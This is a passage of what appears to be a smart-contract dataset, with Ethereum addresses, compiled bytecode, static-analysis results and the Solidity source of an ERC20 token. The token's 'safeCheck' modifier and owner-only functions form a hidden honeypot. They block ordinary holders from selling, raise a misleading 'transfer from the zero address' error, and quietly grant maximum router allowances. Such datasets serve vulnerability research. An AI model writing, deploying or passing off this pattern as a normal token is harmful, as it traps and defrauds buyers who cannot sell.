ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b600080823b90506000811115610a665760019150610a6b565b600091505b50919050565b60005481565b610a7f611742565b1515610a8a57600080fd5b600081111515610a9957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610ad557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b1157600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610b5f57600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610bea57600080fd5b610c3c81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da381600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60085481565b600760009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f515750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f5c57600080fd5b600460149054906101000a900460ff16151515610f7857600080fd5b600082111515610f8757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fc357600080fd5b610fd88260005461193d90919063ffffffff16565b60008190555061103082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061120d5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561121857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561125457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113bf5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156113ca57600080fd5b6001600460146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114d45780601f106114a9576101008083540402835291602001916114d4565b820191906000526020600020905b8154815290600101906020018083116114b757829003601f168201915b505050505081565b60606114e6611742565b15156114f157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561152d57600080fd5b61153683610a4d565b1561154b57611546838383611959565b611557565b611556838383611d28565b5b505050565b6000611566611742565b151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b6115b684610a4d565b156115cb576115c6848484611959565b6115d7565b6115d6848484611d28565b5b600190509392505050565b600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117175750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561172257600080fd5b6117396301e133808261193d90919063ffffffff16565b60088190555050565b60006008544211905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117f75750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561180257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561183e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115151561193257fe5b818303905092915050565b6000818301905082811015151561195057fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561199657600080fd5b6119e883600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7d83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508390508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b85578082015181840152602081019050611b6a565b50505050905090810190601f168015611bb25780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611bd357600080fd5b505af1158015611be7573d6000803e3d6000fd5b505050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ce7578082015181840152602081019050611ccc565b50505050905090810190601f168015611d145780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611d6457600080fd5b611db682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1684846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611f8a578082015181840152602081019050611f6f565b50505050905090810190601f168015611fb75780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35050505600a165627a7a7230582099cb341cc045c18f17fa21b07261b6d989229063086bd9bbfe21d20b470f64550029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 10,198 |
0x84f696eafac7fab3ce3290e07da287b5de957881 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_DEXM(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611